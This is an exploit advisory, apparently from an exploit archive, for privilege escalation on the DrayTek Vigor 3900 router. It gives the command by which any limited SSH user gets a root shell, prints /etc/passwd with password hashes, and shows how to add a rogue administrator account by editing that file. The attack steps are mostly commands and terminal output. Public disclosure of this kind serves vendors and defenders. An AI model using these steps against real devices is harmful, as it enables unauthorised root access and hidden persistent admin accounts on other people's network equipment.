81 lines
No EOL
3.3 KiB
Text
81 lines
No EOL
3.3 KiB
Text
# Exploit Title: Previlege escalation
|
||
# Date: 19/3/2013
|
||
# Exploit Author: Mohammad abou hayt
|
||
# Vendor Homepage: http://www.draytek.com.tw/index.php?option=com_k2&view=item&layout=item&id=2627&Itemid=593&lang=en
|
||
# Software Link: N/A
|
||
# Version: Vigor 3900 -Hardware V2 - firmware latest 1.06
|
||
|
||
########################Privilege escalation for draytek vigor 3900#####################
|
||
|
||
########################Affected device Description:#####################################
|
||
Vigor 3900 Router Firewall :
|
||
High Performance Multi-WAN VPN Appliance
|
||
The Vigor 3900 is a high-performance quad-Gigabit WAN router for high-performance applications including remote access, firewalling, load-balancing and
|
||
failover. Its WAN throughput runs at up to 1Gb/s, adequate for the most demanding SME applications. The WAN ports on the Vigor 3900 can provide load balancing
|
||
or WAN failover. Based on a new DrayTek OS platform, the Vigor 3900 combines high performance and capacity with DrayTek's traditional ease of use and comprehensive
|
||
features set.
|
||
########For multi-tenant or departmental flexibility, the Vigor3900 will support multiple LAN IP subnets, together with VLAN capabilities and user management
|
||
providing access to WAN resources only to the appropriate users or departments, as well as maintaining infrastructure effciency.
|
||
|
||
############################Advisory:###################################################
|
||
|
||
#The finding started when creating a normal limited user or any user to access the firewall dashboard.
|
||
|
||
|
||
##Having the port 22 open by default, try to login the firewall using putty with this limited user credentials
|
||
|
||
login as: test
|
||
test@192.168.0.1 password:
|
||
|
||
********************************************
|
||
* *
|
||
* Welcome V3900 *
|
||
* *
|
||
********************************************
|
||
|
||
Welcome it is Thu Mar 28 18:58:31 UTC 2013
|
||
Vigor3900>
|
||
|
||
|
||
|
||
###vigor 3900 is built in BusyBox : Trying to shell the device by using sh draytekv3900 will gain root shell without asking for credintial .
|
||
####And what I have noticed that any user you create from the dashboard will be able to access the root shell whereas .
|
||
|
||
Vigor3900> sh draytekv3900
|
||
|
||
|
||
BusyBox v1.4.2 (2013-02-25 23:52:19 CST) Built-in shell (ash)
|
||
Enter 'help' for a list of built-in commands.
|
||
|
||
|
||
#####Printing the cat /etc/passwd
|
||
|
||
~ # cat /etc/passwd
|
||
root:!:0:0:root:/tmp:/bin/ash
|
||
nobody:*:65534:65534:nobody:/var:/bin/false
|
||
admin:$1$1xUkNSXm$SFvMVQCzcM3LmK9mrJmux0:500:500:admin:/tmp:/usr/bin/clish
|
||
operator:$1$.FTn64sr$3tKZ2599RrSU9TA.C/vKd0:501:501:operator:/usr:/bin/clish
|
||
quagga:x:51:51:quagga:/tmp/.quagga:/bin/false
|
||
test:$1$qHVw8Ap.BnYm7jd5VYqBSo0:502:502:Linux User,,,:/tmp:/usr/bin/clish
|
||
|
||
|
||
|
||
#######Adding another admin (admin1)
|
||
|
||
~ # vi /etc/passwd
|
||
root:!:0:0:root:/tmp:/bin/ash
|
||
nobody:*:65534:65534:nobody:/var:/bin/false
|
||
admin:$1$1xUkNSXm$SFvMVQCzcM3LmK9mrJmux0:500:500:admin:/tmp:/usr/bin/clish
|
||
operator:$1$.FTn64sr$3tKZ2599RrSU9TA.C/vKd0:501:501:operator:/usr:/bin/clish
|
||
quagga:x:51:51:quagga:/tmp/.quagga:/bin/false
|
||
admin1:$1$1xUkNSXm$SFvMVQCzcM3LmK9mrJmux0:500:500:admin:/tmp:/usr/bin/clish
|
||
test:$1$qHVw8Ap.BnYm7jd5VYqBSo0:502:502:Linux User,,,:/tmp:/usr/bin/clish
|
||
|
||
~:wq
|
||
|
||
____________________________________________________________
|
||
|
||
|
||
Discovered and written by: Mohammad Abou Hayt
|
||
|
||
__________________________________________________ |